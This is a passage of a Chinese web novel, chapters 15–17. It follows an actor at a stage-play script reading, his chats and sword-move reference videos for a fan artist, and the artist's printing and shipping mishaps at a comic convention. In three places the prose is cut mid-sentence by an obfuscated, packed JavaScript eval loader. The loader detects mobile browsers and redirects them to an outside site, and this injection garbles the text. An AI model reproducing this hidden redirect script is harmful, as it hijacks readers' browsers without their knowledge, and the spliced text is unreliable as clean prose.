乔导说起话来不急不缓，但坚定的语气让每句话都落到实处。她娴熟地过掉了必要的社交辞令，迅速切入正题。 “尽管原版舞台剧的成功经验可以成为参考，但请大家注意，我们不能不加思考地直接照抄所有内容，如果什么都跟在别人屁股后面，最终效果只能是‘画虎不成反类犬’。” 她将电子版的剧本文件投屏在四周墙壁的显示屏上。 “首先最严重的就是台词和音乐的问题，在原版的排练中我们能看到，导演要求演员卡着音乐的节奏和情绪说台词，严丝合缝的那种。最终出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815082|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的效果确实不错。” “但是问题在于，樱花国那边语言的信息量太少了，就是特别简单的意思总要很多的音节来表达，‘噼里啪啦’大长串台词翻译过来咱们就短短两句说清楚了，这样合乐会出大问题的。” 听到这里，江浏心口一惊，略有些发凉。 如果不是乔导点出来，他根本就没有意识到这个问题。 此前的练习和准备他都是在极度安静的环境下完成的，多年来拍摄电影电视的经验也都是现场没有配乐，后期合成环节才会加入音乐。 放弃自己原本的、舒适的表演节奏，配合着音乐的走向说词儿，再加上台词短音乐长，一不小心就要搞成诗朗诵。 江浏下意识地抿紧下唇，手中的笔敲在了写了密密麻麻标记的剧本上。 这时，乔希娜将四只手指并拢，大拇指收起，以非常尊重的手势示意大家看向一位工作人员。 “这是我们的编剧圣然老师，巡演之前的排练过程她将会根据实际情况调整台词。并且跟版权方的反馈不断修改，让我们感谢圣然老师，接下来她将是我们不缺席的朋友和重要的支柱。” 乔导带头，大家都向编剧老师献上掌声。 让每位幕后人员都得到充分的尊重和话语权，把专业的事情交给专业的人来做。江浏很喜欢她的做法。 “看来陈老太太家是‘青出于蓝胜于蓝了’。”桂予宁也表示认可。 乔希娜生性不爱笑，严肃又高冷的表情辅助气场全开，没有人会因为她年纪轻而小瞧这位统揽全局的制片人。 “同时，这就牵扯出来另外一个很烦人的问题——就是版权方的要求太过细枝末节。前期沟通的结果概括下来只有两处不能改，这也不许改、那也不许改。” 江浏没忍住，被她面无表情的冷笑话逗笑了，把夜幕糖说自己水帝的伤心事在脑子里遛了好几圈，才勉强压下嘴角。 “他们的意思是，原则上不接受任何改动和自由发挥。哪怕我们改一个字都要跟他们商量。所以，我在这里也给大家提前打好预防针，很可能我们好不容易本土化改完了，版权方说‘不好意思请用原版’。也请大家做好心理准备。” 乔希娜在平板上修改电子笔记，划掉已经讲完的部分。 “除此之外，我们剧组的周期也是比较长的。预计排练四个月，巡演一个半月，反响好的话，会视情况增加巡演的城市和场次。” 说到这里，乔导手握空拳，用指关节不轻不重地敲了两下桌子。 熟悉的、跟陈老太太一脉相承的“敲重点”动作，让江浏和桂予宁条件反射地坐直了身子、屏息凝神。藏在肌肉深处的记忆复苏，抢在大脑之前摆出了严肃的态度。 “丑话说在前头。大家都有点契约精神，不要在排练巡演期间，搞突然失踪、影分身飞人、犯少爷小姐病什么的。别的组是怎么要求演员的，与我无关。在我这里，不要搞事情。” 江浏和桂予宁余光扫到彼此，都在这瞬间的对视中感受到了熟悉的瑟瑟发抖。 都说孙女像奶奶，这姑娘是得了陈老太太真传了。 15. 同好 人终究是肉做的，再怎么魔鬼的剧本围读会，也要有个中场休息，让大家喝口水、放点水的。 对于有老腰伤的江浏而言，这个强度的会议真的不太好熬。 幸好他的生活助理小牧是个细心的人，帮他带全了装备。江浏趁着去厕所的间隙拆下了裹在衣服外的医用护腰，贴好膏药，将按摩腰带放在衣服里启动，按一会儿能稍微舒服点。 稍稍溜达几圈活动过身体后，江浏回到座位。 以女主身份坐在他旁边的桂予宁，也在差不多的时间结束了“放风”回到座位上。 如此默契的时间把控都是当年被陈老太太磨出来的。 “救命啊，单是上半场就快把板凳坐穿了。”桂予宁眼睛瞟到乔希娜空着的椅子，小声蛐蛐道。 她翕动鼻翼，扭头问：“腰又疼，贴膏药了？” “嗯。”江浏修长的手指挡在脸前，十分克制地打了个哈欠。 她耳朵又动了动，“什么声音，谁手机震动了吗？” “按摩腰带理疗仪，带电刺激的，可以放松肌肉。小牧，辛苦你帮忙把我包拿来。”江浏从助理的包里拿出来一个长得很像挂脖风扇的小电器，“我还有个按摩颈椎的要不要试试……你笑什么？” 他用酒精湿巾消毒按摩仪，打开深度滚揉模式，将放电的“小项圈”套在了桂予宁的脖子上。 “哎呀这电，真的好像有人在捏我后脖子！”她对电流耐受度不高，此时正被电流拽着，一下又一下地抬头，“哎哟，真有劲儿。” 舒舒服服地按上了，不玩会儿手机岂不是暴殄天物？ 桂予宁被按摩得低不下头，只能把手机举高点。面容解锁后，她的手机壁纸映入江浏眼帘。 两个正激吻的纸片男同毫无防备地撞进他的视线。 正举着水杯的真男同江浏一口水呛在嗓子眼儿，“咳咳”了两声才说：“您手机壁纸真的不注意一下吗？好歹贴个防窥膜啊！” 她理直气壮，“防窥膜伤眼，而且厂商花那么多研究经费搞出来的手机屏幕，不就是为了什么角度都色彩还原、看得清楚吗？花钱降低自己使用体验、为自己增加视力风险的事情我才不干呢！” 好歹是个清纯可爱风的小花旦，这么重口的壁纸真不怕人设崩塌吗？ 江浏问：“万一不小心在机场被人拍下来怎么办？” 她满不在乎地摆摆手，“嗨呀，你放一万个心，我手机有分身模式，不同密码解锁不同壁纸，其他场合都是默认背景。重点不是这个，重点是——你就不觉得他们好看吗？” 忽然，桂予宁震惊地看着江浏，“难道说，你喜欢体脂率百分之二十五以上，留着寸头络腮胡，带黑框眼镜的那种类型？” 江浏拿着杯子的姿势都显得有些沧桑，“你就不能盼我点儿好的？我又不瞎！你一说我脑子里就有画面了，连带着喝水都感觉有股怪味。” 确认过老同学的品味没有差到离谱，桂予宁这才松了口气，又说：“那你为什么对帅哥无动于衷？啊，我想起来了，你只看严肃文学，不看漫画和网络小说的对吧！” 尽管老同学时隔多年还记得自己当初的喜好是叫人很感动、很窝心的，但每当大学时期的黑历史被翻出来，强烈的尴尬感总会让江浏如坐针毡、如鲠在喉、如芒在背。 十几、二十岁出头的江浏和现在的江浏，根本不是一个人啊！ 然而，在绝大多数混成同行的大学同学的印象里，他都是以前高冷、文青的形象。时不时碰到校友就要回忆青春的环境里，他总是被迫一遍又一遍地复习怎么也无法和解的黑历史。 每每遇到这种情况，江浏都很想给过去的自己攮上一拳。 ——叫你装逼。 桂予宁摇摇头，“可惜，现在拍的网剧、电影几乎都是你不稀罕的IP，你也不好受吧？” “嗐，那都是以前年轻，不懂事。”江浏轻描淡写地引用了那句名言，“人民群众喜闻乐见的东西怎么不好了，我江浏算个屁？” 或许，年纪大了才承认自己是个俗人，总比把这个傻得冒泡的人设持续到入土要好。 桂予宁先是惊讶地瞪大了眼睛，随后笑的眼睛都眯起来了，“哎呀，还得是我们大浏思想有觉悟啊！欢迎加入杂食党的阵营，不挑食的人生才是快乐无边。” 她高举着手机拉着江浏一起欣赏自家CP的美貌和浓情蜜意。 “你看看这个人体，看看这个皮肤质感，看看这个分寸的拿捏！” 仔细看过之后，这个画风，这个线条，这个笔触，这个色彩……怎么那么眼熟？ 江浏的“夜幕糖雷达”滴滴响起。 他在脑海中反复确认，但真的记不太清自己到底没有在夜幕糖的账号里看过这张图。 可是，他就莫名地觉得很像。 听多了一群配音演员的声音，哪怕他们刻意调整了声音塑形，也能够从咬字的习惯和台词处理的习惯听出来谁是谁。 看多了一位漫画家的绘画作品，哪怕画的是不同的IP还稍稍改了一点点画风，但有些熟悉的笔触、色彩处理方式总是能引起忠实读者的注意。 这对知名度火热到可以称之为“烫门”的CP，出自江浏和夜幕糖都在玩的那款二游①。 那么，这张图就不排除是夜幕糖作品的可能，最坏的预设也许是有人拿糖咪的作品训练AI生成了图片。 正当江浏打算问问这图的来历时，乔导的声音忽然从会场音箱里传出来。 “休息还有两分钟结束，请所有演职人员尽快归位！” 最后的摸鱼时间要结束了，桂予宁连说了好几声“完了”，又说了句“我还没回消息呢！” “你忙你的。”江浏礼貌地移开视线。 他也有想要确认的答案，需要在休息结束前搞定。他很好奇，那张同人图到底是不是夜幕糖的手笔呢？ 时间有限，各个平台挨个翻是来不及的。但这不代表他无法验证内心的答案。 现在，他可是太太的“亲友”，最高效、最准确的做法，难道不是直接问吗？ 本来江浏正愁呢，不知道今天要用什么话题、什么由头去“打扰”夜幕糖太太，借此抱着手机聊上几十分钟。谁成想，现成的话题这不就送上门来了？ 工作手机放在桌子上，他像是校园剧里偷用手机的学生，一只手垫着额头趴在桌上佯装假寐，另一只手在桌子底下摸出了私人手机。 【CN平野月】：悄悄问一下，糖咪有没有画过某游戏知名的官方发糖吊打同人的那对？ 【CN平野月】：[图片][图片] 江浏刚甩过去两张官方立绘，夜幕糖就秒回了。 【夜幕糖】：不吃这对，我人性中的一些美好品质都会消失的。 【夜幕糖】：超爱吃、很常吃、大吃特吃！ 【夜幕糖】：[图片][图片][图片][图片] 接着，一连串的赤橙绿青蓝紫都有，但格外黄且颜色越来越浓烈的艺术作品不断从对话框里弹出来。 比起此刻的画面给大脑带来的神经递质大海啸，腰部按摩理疗仪的电流真的弱爆了。 果然，桂予宁的壁纸在那些图片之中。 江浏的手默默捏紧了一下手机，按捺住心底的兴奋。 他引用了那张凌乱衣着比接吻还不克制的图片。 【CN平野月】：这张我都没什么印象！可恶，平台限流让我错过仙品，猛猛补课，好香！ 【夜幕糖】：不是平台的锅，这张还有几张是客妹的私人约稿，应对方的买断要求，没在公开平台上发过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815083|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【夜幕糖】：你嘴严，我放心，咱们偷偷看，嘿嘿！ 为了保护客妹的个人隐私，江浏还是暂且忍住了跟对方分享当红女星是他客妹的事情。 但看到自己喜欢的作者受人欢迎和认可，他又无法抑制发自内心的喜悦。他想：如果能同夜幕糖分享这份小确幸，可以让快乐变成双倍的。 真叫人纠结不下。 江浏起身靠在椅背上之时，他的余光扫到了桂予宁的屏幕。 此时她已经回完了消息，正抓紧最后的时间刷大眼仔。忽然，熟悉的童话风的星星糖果头像，明晃晃地出现在了她的手机上。 那是夜幕糖的主页！ 江浏才想起来，今天好像还真是夜幕糖的更新日！ 这几天事情太多，昨天熬夜啃剧本他头昏都忘了时间了。 只见桂予宁手指时而放大、时而缩小，在屏幕上滑动得极快，不到五秒就要翻到下一页。 江浏心说：分镜的留白节奏那么好，格子角落的安排那么有巧思，刷得太快不就看不出来了吗？ 有好几页分镜草稿都是夜幕糖精心设计了数个版本，跟江浏讨论了好几个小时才最终灵光一闪，改出了超出预期的效果。 六十秒左右，桂予宁刷完了最新的一话，退出软件。 江浏心里更着急了。 看完了连个评论都不留的吗？那至少免费的大拇指要点一个吧！转发要来一个吧！堂堂女明星，连一点做数据的能力都没有吗？消费者要用自己的钱投票啊！ 急得江浏恨不得拍自己大腿。 忽然，一个念头闪过他的脑袋。 说不定，桂予宁也是看了夜幕糖太太说自己“揭不开锅了”开放约稿，想要支持喜欢的太太，才特地花钱约了喜欢的CP呢？ 那他岂不是误会了人家氪金大佬！ 江浏转念又想，就算不是这样，对方只是普通的追更群众，他哪里来的资格高高在上地评判他人？ 提到夜幕糖就有些过热的脑袋慢慢冷静下来，他开始反思自己。 留下感想与作者交流或者保持沉默是读者的自由选择。更何况，用什么样的方式享受娱乐是个人的事情，无需他人置喙。 又没倒卖盗版、又没引起骂战、又没恶意举报的正常读者，招谁惹谁了，他江浏算什么东西，有什么资格在心里嘀嘀咕咕、对人家评头品足？ 江浏只觉得方才自己的想法未免有些自以为是和丢人。 无论是什么形式，太太确实是被人关注着、偏爱着的，那就是最好的事情。 而他积极刷数据、留评论、买好几份周边、还想管别人怎么追更的行为…… “怎么这么像粉头啊！”江浏嘟囔着，哭笑不得。 休息马上要结束了，夜幕糖的更新他是没时间看了。 但打赏一下还是能操作的！他赶紧趴回去切了金主号打钱。 忽然，江浏感到有人走到他的身后，轻轻拍了拍他的肩膀。 “江浏，你怎么了，是身体不太舒服吗？” 他抬头才发现是乔导，下意识地把手机往桌下藏起来，说：“没有，腰疼老毛病了，趴一会儿就好。” “要再歇五分钟吗？” “没关系我们准时开始就行，不耽误咱们进度。” “好，那等下我们准时开始”乔导忽然皱了皱眉，“什么动静？” “我按摩腰带的声音，等下开始我就关上了。” 桂予宁不语，只是一味地露出邪恶的笑容，“没什么，我只是想到很黄色的事情。” “？”江浏慢了半拍才明白过来，扶着额头说，“正经仪器啊！姐姐，好好的按摩仪怎么到你嘴里这么涩情？” 不料她竟然说:“你懂得这么快，难道不涩情吗？” 16. 参考 磨人的剧本围读终于结束，江浏回到家洗去班味，天已经黑透了。 虽说刚洗过澡，但他还是换上了练功服，将卷成筒立在旁边的小块舞蹈地胶抖落开，铺在了镜子前。 没练功有些人是会心虚的。 熬过夜的身子受不住太快的心跳，毯功技巧是想都别想。剧本围读讲了许久的话嗓子早就疲劳了，台词索性也歇一歇明天再说。现在他昏沉疲劳的脑子仅支持软开这项简单的操作。 索性拿软开当睡前瑜伽了，等他练完了也就到了夜深人静的休息时间。届时，他就能专注地用平板细细看过夜幕糖的更新、留下评论，差不多就可以睡过去了。 很美好的晚间计划。 江浏对此十分满意，扒拉出几块瑜伽砖，垫在脚下辅助神经滑动术做热身。 他摆好姿势，按下计时器让它六十秒之后叫自己，随后掏出手机刷刷大眼仔分散自己对疼痛的注意。 刚刚躲过摇一摇广告，他的互联网活人太太新发出来的动态就蹦到了眼前。 糖老师连发了两条。 最近发的那条是参展消息。 【夜幕糖】：带着我和亲友@爆衣君的制品申请到摊位啦！具体展位信息和制品信息请看下方图片，我们不见不散！滴滴，请假卡~本周没有更新，更新当日奉上一张狗皇帝的Q版请假卡图片。 稍早些发出来的是带着点牢骚的求助。 【夜幕糖】：啊啊啊啊！找不到合适的视频资料！要么是上古老视频看不清，要么是风格不对。万能的互联网人脉，有没有特别会舞剑的博主（不要太柔美太舞蹈的），请推荐给我，让我参考一下！ 江浏在视频网站的搜索栏输入了教自己武术的老师傅的名字，将弹出来的第一条视频分享给了夜幕糖。 现在是自媒体的时代，六旬老师傅也得学着上网发传统武术的教学视频，拍些小短片炫技给自己的机构招生、帮自己揽活儿了。 尽管视频点击量也就几千，破万都费劲儿，但质量是实打实的好。 不拍戏的时候，江浏也在磨练可能在拍摄中用到的技能，个别学到精通，剩下的学个花架子。有身体素质在，时不时练一练，开拍前再约老师突击加练，也就够用了。 算是借工作之名、敬业之名满足自己的喜好，用光明正大的理由把钱投入到个人爱好上。有时候剧组请来的顾问老师和指导教练的来头更大，江浏更是白嫖得爽，学得认真。 对面看完视频，很快回复了江浏。 【夜幕糖】：谢谢月总[比心] 【夜幕糖】：这个感觉太对了！是我想要的那种感觉，兼具了美观和对抗的激烈感！你真的太懂我想要什么了。 【CN平野月】：诶嘿，我记得你说过，不想画那种摆Pose或者舞蹈化的打戏。这个老师傅做过很多老电影的武术指导，有真功夫，也知道观众喜欢看什么。 【夜幕糖】：！ 【夜幕糖】：我刚想说很有以前武打片那种刀光剑影、拳拳到肉的感觉。 【夜幕糖】：可是老师傅画质是真的有点差，我想看看局部的手腕动作、慢镜头的过程。放大有点糊，我都不知道是剑怎么突然就转了个圈，手腕到底是怎么翻过来的[捂脸][捂脸] 计时器还没响，江浏一脚踹开了瑜伽砖，滚地而起，去翻箱倒柜地找自己的练习剑。 还耗什么腿啊！赶紧捡一捡自己的剑才是正事！ 原来学得最好的套路他只记得一个开头和结尾，中间的连接已经在陈旧的记忆角落混成了一团模糊不清的脏袜子堆，分不清左右也分不清正反。 江浏翻看云相册，找到了两年前学剑时录制的大量训练视频，欣赏了两年前自己剑术巅峰的时刻。 而现在，他得重新扒自己练过的套路了。 视频都找到了，练习剑还是没找到。江浏不想浪费时间在找剑上了，他耽误的不是自己的时间而是更新的时间！事关新一话的质量，拖延不得。 实在是没有办法，最终江浏抄起了一根带手柄的晾衣杆。 江浏把手机放在支架上，对着镜子挽起了剑花。 “啪”！ 晾衣杆打在了江浏的脑壳上。 他捂着头蹲坐在地，眼冒金星地“嘶嘶”倒吸几口凉气。 “我是不是得感谢一下，还好拿的不是练习剑？”江浏抱着脑袋都被自己给蠢笑了。 刚想着要捡功就急着上强度，挨得不冤。 江浏知道自己是心太躁了，越是急于求成越是出错。 “反正顶多两三页的内容，不用把全套顺下来，重点的部分做标准、做清楚了拍特写。然后就是，动作风格的处理，更符合我们对抗路狗皇帝和大将军的人设。” 江浏重新调整状态，脑子里捋清楚了，再慢慢地熟练、提速。 一个小时后，心率都上到无氧的江浏摘下了湿透的黑口罩，用速干毛巾擦干净手上、额上的汗，去处理刚刚用超清慢镜头拍的十几条不露脸视频。从手部特写到近景、中景一应俱全。 稍加整理和后期调整后，他把视频按照人物和景别整理成文件夹上传云端，将链接发给夜幕糖。 …… 手。 好漂亮的手。 叶慕唐一双眼被视频中的手部特写锁得死死的。 原速播放的那遍以速度和魔术般的灵巧给人以视觉的冲击。帧率拉满的流畅慢镜头则拆解了动作每个阶段的细节处理，连晾衣杆尾巴临时拴上的那截流苏也牛气得也像是大侠的剑穗。 什么时候旋压腕，什么时候翻腕，什么时候松开三指倒把，什么时候收拢发力…… “晾衣杆……能帅成这样？”叶慕唐傻愣愣地看着屏幕。 这个名为“狗皇帝-手部特写1”的文件，叶慕唐不知不觉重刷了三遍。 他虽然到处说自己是“手控”，但真正被手硬控住也就这一回。 如果说，之前的手控是跟风、是他对二次元通用XP的附和。那么现在，叶慕唐正式宣布自己成为了手门信徒。 他画都没画过这么好看的。 叶慕唐局促的手以奇妙的姿势放在嘴上，又去托腮，转而去摸耳朵，最后两只手紧紧地在身前扣着，反正就是不知道该往哪里放。 平野月的信息还在弹出来，但某人现在不知道该怎么回，甚至看都不敢看。 “月总这人……帅得很权威。” 他抬手在面前大概比划了人的形状，“是那种整体的帅，一眼过去就是整个人，没有特别仔细地看过什么部位……天啊，我在说什么？” 叶慕唐迷迷糊糊地点开了“大将军-手部特写1”的文件。 黑色的漆皮手套很好地包裹着手指的线条，其服帖、弹力与质感，无不彰显其价格的昂贵和做工的到位。 刚刚还留有灵巧之感的手法变得正而劲，同样的一只晾衣杆在这个视频里看上去更像重剑。 明明是同一个人的手，此刻却是截然不同的气质，正是他笔下的人儿们。 “狗皇帝-近景3” “大将军-中景2” 作品中两个角色的体型存在差异，神奇的是平野月一个人录出来的视频也在服装、体态、动作上做出了二人的区分。 无袖衫凸显大将军的肌肉感，动作大开大合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815084|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ；黑色紧身T恤在视觉上收窄了上身贴近狗皇帝的形象，动作也复杂多变，身法神态在懒散中忽而亮出利爪。 看着这些视频，叶慕唐开始浮想联翩。 他忽然发现自认为最熟悉的“自家孩子”或许还有很多值得挖掘的地方，而他此前隐隐知道，只是未能将目光全神贯注地投注在那些角落。 如今有了活生生的人描摹形状，他借了另一个人的视角重新审视了他所描绘的人。 人无法描绘出自己没见过的东西，只能把以前的元素拼贴、夸张。 想象力是以现实为依托发散的，而这个人无疑是拓宽了叶慕唐现实的边界，也让他的想象疯涨。 平野月给他的，是比他想象还要好的。 细细地看过视频，叶慕唐便搞清楚了之前一直迷迷糊糊的地方，截取了关键的几个参考画面保存，等到画的时候再调出来。 本以为要费上好多力气的资料收集工作，就这样开挂似的完成了。 叶慕唐看了一眼自己发求助动态的时间。 忽然，他意识到，他看的是新鲜的前两个小时之间的手。 他甚至能回想起平野月费心为他拍摄的同时，他在做些什么事…… “完了完了，沉迷素材忘记回消息了。” 他慌乱之中拿起手机，却因为手麻把手机甩飞出去，还好是在家才没磕坏屏幕。 【夜幕糖】：月总！帮大忙了！ 【夜幕糖】：为你疯，为你狂，为你框框撞大墙！ 【夜幕糖】：我还以为我得找好几天找不到素材，最后还是靠自己想象瞎画。 【夜幕糖】：谢谢T^T 【夜幕糖】：有你真好！我已经把需要的内容截图保存了。抱歉刚刚一直没回复你，我在整理素材太沉浸了。 练剑出了一身汗的江浏正在冲澡，他看着消息弹出来，裹上浴巾就不洗了，靠在洗手台旁边回消息。 【CN平野月】：嗐，这有什么的，道啥歉啊！ 【CN平野月】：我刚刚不也突然消失了一会儿去练剑了么。 【CN平野月】：平时，我总是手头有工作，回复你的消息不快，你也都在包容我的。 【夜幕糖】：那肯定啊，我知道你工作忙，很多时候来不及回消息，但就算隔了几个小时，你只要看到了会认真回复我，这就够了啊！ 【CN平野月】：我也是这么想的。所以，不要为这些事情道歉啊！会感觉太礼貌，反而生分了。 叶慕唐咀嚼着“生分”两个字，品出了与之相反的意思，一时没能拢住要起飞的嘴角。 【夜幕糖】：好！那我以后，一定适度礼貌。 【夜幕糖】：[动画表情] 【夜幕糖】：这是我见过最靠谱、最写实的的参考了！ 【CN平野月】：那什么参考算比较抽象的？参考西蓝花画爆炸蘑菇云，还是参考碎巧克力块画废墟？ 【夜幕糖】：……我能说，我刚刚才从你这边学到了这个绘画技巧吗？ 【CN平野月】：哈哈哈哈哈！ 两个人聊起来就刹不住车。 能够阻碍他们的只有DDL、工作，有的时候连睡眠都得给他们的兴致让路。 但今天的江浏实在是太累了，只能先说了晚安。 可是，发过“晚安”之后，有几个人是真的马上去睡的呢？ 【江浏】：周老师，下星期三下午四点左右，我能去马场拍个视频吗？（私人目的，不公开影像）我自己带设备，要穿甲胄拍摄，需要承重能力好些的马。 是的，预计下下次更新，夜幕糖要画骑马的戏了。 17. 同人 夏天、暑假，是漫展的高峰期。 二次元经济全让那些放假的学生、高考完报复性消费娱乐的准大学生给盘活了。 有这个热度和赚生活费的机会，经济吃紧的叶慕唐打算将自己赔钱的原创作品放一放，把之前卖过反响很好的同人制品升级后再贩一波。 单是他一个人的产出，制品数量不够、种类也不算丰富，确实有些寒酸撑不起摊子。所以，他选择跟另一位画同人认识的朋友“爆衣君”合作，两个人一起凑足了充实摊位的制品。 虽说要去出摊是他早就跟人约好的，但要说拖更没有逃避画马和战争大场面的心思，那是不可能的。 实在是画不出来怎么钻牛角尖也没有用，不如干点别的收集灵感，说不定就突然找到解决的方法了呢？ 本来是为了多少赚点伙食费的，谁知道，好好的再贩他竟然被厂家搞了。 “前天说是昨天发，今天到货。为什么到现在你们给的单号还是查不出任何信息？明天我们就要参展了，您能不能跟我说句实话？” 叶慕唐拿着电话，气得手都在发抖。 “我就问你，我们的本子在哪儿，做没做！” 同人制品很容易碰到这类问题。小厂工艺差做不了，大厂嫌单小不想做。 “做了做了，肯定做了。我再给你催催。”电话那边的中年男人满不在乎地敷衍着，“这就给你发，晚上五点之前肯定给你加急发出去！” 叶慕唐听得两眼发黑，“今天晚上发，最快也要明天下午到货了！我们提前那么久下的订单，也都是回头客了，你们厂家就是这么做生意的？” 都到这个时候了，想换厂家肯定是来不及。叶慕唐也不想把时间浪费在扯皮上，只好想其他办法补救。 而这，并不是唯一出问题的制品。 屋漏偏逢连夜雨，麻绳专挑细处断。 他拆开刚到货的亚克力制品的纸箱时，人差点没晕过去。 IP正确、角色正确、CP正确、收件人正确。 但是箱子里的东西，根本就不是夜幕糖设计的作品。 他本来就不擅长处理多线程事务，那么多问题一下子砸过来都不知道先解决哪个。崩溃中，他强忍着要命的焦虑逼迫自己快点行动。联系上厂家，他们掰扯了好一会儿才搞清楚究竟发生了什么。 原来，他跟另一位素未谋面的太太都在这个厂家定做了亚克力挂件、摇摇乐和立牌，都准备用定做的制品参加同一个漫展，收件地址都是同城，被厂家搞混贴错了快递单寄反了。 厂家将叶慕唐和那位倒霉太太拉了个群，二人商议之下最终决定不要寄来寄去浪费时间和运费，直接在漫展当面交接。 当日凌晨，叶慕唐直接租了辆货拖拖，让司机师傅拉着他冲到了快递转运中心，抢在漫长的派送流程之前拿到了本子。 其实，从他查到单号信息的那一刻，不祥的预感便已经在心底蔓延开来。 发货的地址跟上次不一样，连省份都不一样。 “不会是印厂为了赚差价，把单子外包给下游小厂了吧？”叶慕唐心里犯嘀咕。 真正的心冷，是在他看到快递箱的瞬间。 破烂淋浴的纸箱已经失去了保护力，他差点以为还以为是这箱子自己顺着河游过来的。要不是气泡膜和塑封，满箱子纸制品早就被雨水泡烂了。从外面往破洞里看，他隐隐在凌晨的灯下瞄到了不妙的绿光。 叶慕唐麻木地留存照片证据，打算等办完展子再跟厂商和快递好好掰扯。 等到本子拿在手里，他更是出离了愤怒，人气急了是真的能笑出声来的。 单本重量明显不对，是廉价材料的轻薄手感，塑料感的纸张反光得厉害，显色也存在问题，高级的烫蓝变成和画面极度不和谐的烫绿…… “这跟打样完全两模两样啊！那我打样的意义何在？” 阴损的厂家，好一招偷梁换柱，搞得升级版的质感还不如初版！ 更让叶慕唐觉得过意不去的是，在他的推荐下，好友爆衣君也在同样的厂家下单，跟他一起被坑了。 “我们要的明明是显色更好的白牛皮纸，纸张克数也比原来要高很多的，结果到手的是铜版纸！说好的有线胶封能平摊开看，结果工艺不过关，一摊开就容易开胶。” 天眼看着蒙蒙亮了，叶慕唐想了想，还是把那几箱本子拉上了车。 他抹干净眼角，对电话那头的亲友说：“以快递还有厂家的态度，我看赔偿的事情估计很悬，就算赔也不能全退。要不我们发个道歉声明说清楚情况低价卖吧，再多送点赠品、现场画签绘之类的。” 顶着通红的两只眼睛，叶慕唐带着所有制品冲去了漫展。 游客都进来了，他才刚刚换回自家的制品，简陋的摊位还没有布置好。等到他开始手忙脚乱地布置站位时，又更绝望地发现自己布展用的扎带、胶带、画好的签绘等一大堆物料全落在家里了。 “啊啊啊，我这个丢三落四的毛病要我狗命啊啊啊啊！” 最后他是跟周边的其他摊主借了一圈，才勉强把简陋的小摊支棱起来。 跟隔壁那个制品多样闪闪发光，布置本身就是一种视觉艺术的摊位比起来，他真的好狼狈。 真是没有对比就没有伤害。 人家不仅制品好、布置好，还请了可以摸胸肌的Coser在摊子前举着牌子晃悠，摊主姑娘一头茂密蓬松的橘色卷发竟然不是假发而是真发.漂染，配上风格独特的穿搭完美融入亮晶晶的摊位里。 叶慕唐守着横幅都是自己拿春联红纸手写的小破摊，感受到了世界的参差。 再加上隔壁摊主口才超绝，搞得门可罗雀的叶慕唐完全忘记自己是来卖货的，也跟着顾客听她介绍自己的制品和创作的理念。 “这本《血王座》是根据游戏里王储和他身边的五位战友的故事制作。原作五位战友的建模都是NPC，但是剧情CG上以壁画的形式出现过他们的剪影，作者根据剪影的特征设计了战友们的形象。” 她将游戏内的截图和绘本内页放在一起比对，那些因为经费所限只有文字刻画却没有美术资源倾注的角色拥有了自己的面貌和更加丰富的设定，还增加了角色之间的小故事。 “请注意，扉页的雕塑是完整的，上面有代表时光倒流的沙漏。尾页的沙漏暗淡代表魔法失效，而破损雕塑上的血液和插在地上的剑，代表王储本人战死，绘本里发生的故事不过是他临死前的走马灯。” 她翻动着相当厚实的书页，为大家展示。 “有一种‘隐形笔’，墨水无色无味，写下的字需要紫外线灯照射才能被人眼看到。以此为灵感，我们在印刷中也使用了这种墨水。当你用紫外线灯照过书页，就会发现王储母亲的灵魂一直在陪伴和指引他和他的伙伴们。” 只见，紫光照过的地方，原本空缺的背景里出现了王储母亲的身影，荧光和若隐若现的视觉效果无比贴合“灵魂”的设定。 此时她正在一位战友的前方，在重重迷雾中为他们指明方向，冥冥之中感应到什么的战友向浴血奋战中的大家招手示意。 “而当我们用紫外线灯照在最后一页，我们就会发现王储并不是孤身战死，他的母亲和战友的灵魂都围在他的尸体上，试图擦去他身上的血渍和伤痕！” 刀得叶慕唐鸡皮疙瘩都起来了。 这才是真正把搞同人变成搞科研的太太啊！ “您好！请问这个镭射票和亚克力套装怎么卖？” 游客的呼唤把叶慕唐拽回了自己的摊子，他刚刚差点就要去隔壁摊子排队买别人家太太的制品去了。 好不容易才有开张的迹象，叶慕唐不敢怠慢，赶紧给人家小姐姐打包制品，现场画签绘。 然而，在小姐姐掏出手机准备付钱的瞬间，原本已经快被他遗忘的糟心事又冒出来刺在了叶慕唐心上。 那个手机壳是盗版商家偷他的图片做出来的。 叶慕唐真是想起这事儿就来气。 他自 